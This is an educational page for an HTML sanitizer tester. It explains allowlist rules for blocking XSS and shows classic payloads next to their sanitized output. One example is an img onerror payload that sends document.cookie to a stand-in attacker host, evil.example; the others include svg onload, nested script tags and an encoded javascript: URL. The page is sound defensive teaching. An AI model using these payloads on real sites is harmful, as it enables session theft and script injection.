HTML Sanitize Tester

Paste dirty HTML and watch an allowlist sanitizer take it apart: which tags are kept, which are stripped with their contents, and exactly which rule fired for every decision. A hands-on way to learn how HTML sanitization stops XSS.

Defensive tool, educational sanitizer. This page tests sanitization — it shows dangerous markup being neutralized, so you can verify a sanitizer is strict enough. It is not a weapon: the payloads below are the same canonical examples every security textbook uses. For production code that touches real user input, use a battle-tested library such as DOMPurify (JS), HTMLPurifier (PHP), or bleach (Python) — never a hand-rolled filter. Do not test payloads against websites you do not own.

HTML to test

Press “Test sanitization” to run the allowlist filter.

The allowlist rules

The sanitizer below is intentionally simple so every rule can be observed. Production libraries apply the same principles with far deeper coverage.

Rule	What happens
R1 · allowlist	Only a b br em i li ol p strong u ul img are kept. Unknown wrappers (div span…) are unwrapped — text kept. Active-content tags (script style iframe object embed svg math form input…) are removed with their contents.
R2 · event handlers	Any attribute starting with on (onclick, onerror, …) is always stripped.
R3 · style	The style attribute is always stripped (CSS can hide javascript: URLs and expression()).
R4 · attributes	Only title (everywhere), href (on links), src/alt (on images) survive.
R5 · URLs	href/src allow http https (+ mailto on links) or relative URLs. Entities are decoded and whitespace stripped before the check, so javascript: and java<tab>script: are caught.
R6 · comments	HTML comments, doctypes and processing instructions are removed.
R7 · case	Tag and attribute names match case-insensitively (<ScRiPt> is still a script tag).

Worked examples

Each example below was computed by the actual sanitizer engine — input in, output out, with the rules that fired.

Classic <script> tag

The script element is removed with its entire contents; the safe paragraph survives untouched.

Input

<script>alert("xss")</script><p>Welcome back!</p>

Sanitized output

<p>Welcome back!</p>

Rules fired: dropped+contents, kept
1 kept · 1 removed · 0 unwrapped · 0 attrs stripped

<img> with onerror handler

onerror is an event handler (R2): stripped. The harmless src attribute is kept.

Input

<img src="avatar.png" onerror="fetch('https://evil.example/?c='+document.cookie)">

Sanitized output

<img src="avatar.png">

Rules fired: on* stripped, kept
1 kept · 0 removed · 0 unwrapped · 1 attrs stripped

<svg> with onload

SVG can host script execution, so the whole element is dropped with its contents (R1) — there is no script tag to find.

Input

<svg onload="alert(1)"><circle r="10"/></svg>

Sanitized output

(empty — everything removed)

Rules fired: dropped+contents
0 kept · 1 removed · 0 unwrapped · 0 attrs stripped

Entity-encoded javascript: URL

Entities are decoded before the protocol check (R5): j becomes j, so the javascript: URL is caught and stripped. Link text is kept.

Input

<a href="&#106;avascript&#58;alert(1)">Free coupons</a>

Sanitized output

<a>Free coupons</a>

Rules fired: bad URL stripped, kept
1 kept · 0 removed · 0 unwrapped · 1 attrs stripped

Safe tag, dangerous attributes

The p tag is allowlisted, but style (R3), onclick (R2), and class (R4, not allowlisted) are each stripped by their own rule.

Input

<p style="color:red" onclick="track()" class="intro">Hello</p>

Sanitized output

<p>Hello</p>

Rules fired: style stripped, on* stripped, attr stripped, kept
1 kept · 0 removed · 0 unwrapped · 3 attrs stripped

Nested-tag bypass attempt

A naive regex deleting <script> once would leave a live tag behind. The real parser finds the inner script element and drops it with its contents; the fragments become inert text.

Input

<scr<script>ipt>alert(1)</scr</script>ipt>

Sanitized output

&lt;script&gt;

Rules fired: dropped+contents
0 kept · 1 removed · 0 unwrapped · 0 attrs stripped

Hidden <iframe>

iframes load full remote documents: removed with contents (R1), even when invisible.

Input

<p>Article text</p><iframe src="https://evil.example/" width="0" height="0"></iframe>

Sanitized output

<p>Article text</p>

Rules fired: kept, dropped+contents
1 kept · 1 removed · 0 unwrapped · 0 attrs stripped

Rich formatting that survives

Everything here is on the allowlist with safe attributes, so the output is identical to the input — sanitization is not about destroying formatting.

Input

<p>Read the <a href="https://example.com/guide">guide</a>:</p><ul><li><b>Bold</b> step</li><li><i>Italic</i> step</li></ul>

Sanitized output

<p>Read the <a href="https://example.com/guide">guide</a>:</p><ul><li><b>Bold</b> step</li><li><i>Italic</i> step</li></ul>

Rules fired: kept
7 kept · 0 removed · 0 unwrapped · 0 attrs stripped

Unknown wrapper is unwrapped

div and span cannot run scripts by themselves: the tags are removed but their text content is kept (R1).

Input

<div class="layout"><span id="s1">Keep this text</span></div>

Sanitized output

Keep this text

Rules fired: unwrapped
0 kept · 2 removed · 2 unwrapped · 0 attrs stripped

Comment hiding a payload

Comments are removed outright (R6) — they are a classic place to hide conditional payloads.

Input

<!--[if IE]><script>alert(1)</script><![endif]--><p>Visible</p>

Sanitized output

<p>Visible</p>

Rules fired: comment removed, kept
1 kept · 0 removed · 0 unwrapped · 0 attrs stripped

Frequently asked questions

It shows exactly what happens when dirty HTML passes through an allowlist sanitizer: which tags are kept, which are removed with their contents (like script, iframe, and svg), which are unwrapped but keep their text (like div), and which attributes are stripped (event handlers such as onerror, style attributes, and javascript: URLs). Each decision is listed with the rule that caused it, so you learn how sanitizers think — not just what the output looks like.

An allowlist sanitizer keeps only tags and attributes it explicitly recognizes as safe (for example b, i, a, p, img with src and alt) and removes everything else. A blocklist sanitizer tries to remove known-dangerous patterns (like the literal string <script>) while keeping everything else. Allowlists win because attackers constantly invent new dangerous constructs — uppercase tags, nested tags, entity-encoded protocols — that a blocklist has to anticipate one by one, while an allowlist rejects anything it does not understand by default. This tool demonstrates the allowlist approach.

No. The sanitizer in this tool is intentionally simple and educational — it exists so you can see each rule fire. For production code that handles real user input, use a battle-tested library: DOMPurify for JavaScript, HTMLPurifier for PHP, or bleach for Python. Those libraries have survived years of adversarial review and bug bounties; a hand-rolled sanitizer has not. Use this tool to build intuition, then ship the library.

Because HTML is not a regular language and browsers parse it with elaborate error recovery. A regex that strips out script tags misses <ScRiPt> (case), <scr<script>ipt> (nesting), and <svg onload=...> (no script tag at all). Try the preset payloads above: each one defeats a different naive regex while the allowlist parser handles all of them. Correct sanitization requires real parsing — walking the tag structure the way a browser does — not pattern matching on strings.

They solve different problems in different contexts. Output encoding (turning < into <) is for places where user input must be treated as pure text — it is the right default almost everywhere. Sanitizing is for the rarer case where you intentionally want to render some user HTML, like a rich-text comment: you keep safe formatting (bold, links, lists) while removing anything executable. If you do not need rich formatting, encode; do not sanitize. Encoding is simpler and has fewer ways to go wrong.

No — never rely on it as your security boundary. Client-side sanitization (including this tool) is for preview, learning, and defense in depth. An attacker can bypass anything that runs in their own browser by sending requests directly to your server. The sanitization that matters must run on your server, on untrusted input, before it is stored or rendered. Treat browser-side checks as user experience, not security.

Because both are script-execution vectors in disguise. The style attribute can hide javascript: URLs inside CSS properties (and historically expression() in old IE), and an href or src starting with javascript: runs code when the link is clicked — entity-encoded or tab-padded variants like javascript: or java\tscript: defeat naive string checks, which is why the sanitizer decodes entities and strips whitespace before checking the protocol. Only http, https (and mailto for links), or relative URLs survive.

Tags: a, b, br, em, i, li, ol, p, strong, u, ul, and img. Attributes: title on any of them, href on links, and src plus alt on images. Everything else is either unwrapped (harmless containers like div and span keep their text) or removed with its contents (script, style, iframe, object, embed, svg, math, form elements, and media tags). Event-handler attributes starting with on are always stripped, even on allowlisted tags.

Use the preset payload library as a checklist: run each payload through your sanitizer and compare its output with what this tool produces. The classic cases are the <script> tag, <img onerror>, <svg onload>, javascript: URLs (including entity-encoded and case-mangled variants), style attributes, nested tags like <scr<script>ipt>, and comments hiding payloads. If your sanitizer keeps anything this tool strips, investigate why — and remember that passing a checklist is necessary but not sufficient; use DOMPurify or an equivalent library rather than maintaining your own.

No. All sanitization runs entirely in your browser with JavaScript — your input never leaves your device. You can disconnect from the internet after the page loads and the tool keeps working. Nothing you paste is stored, logged, or transmitted anywhere.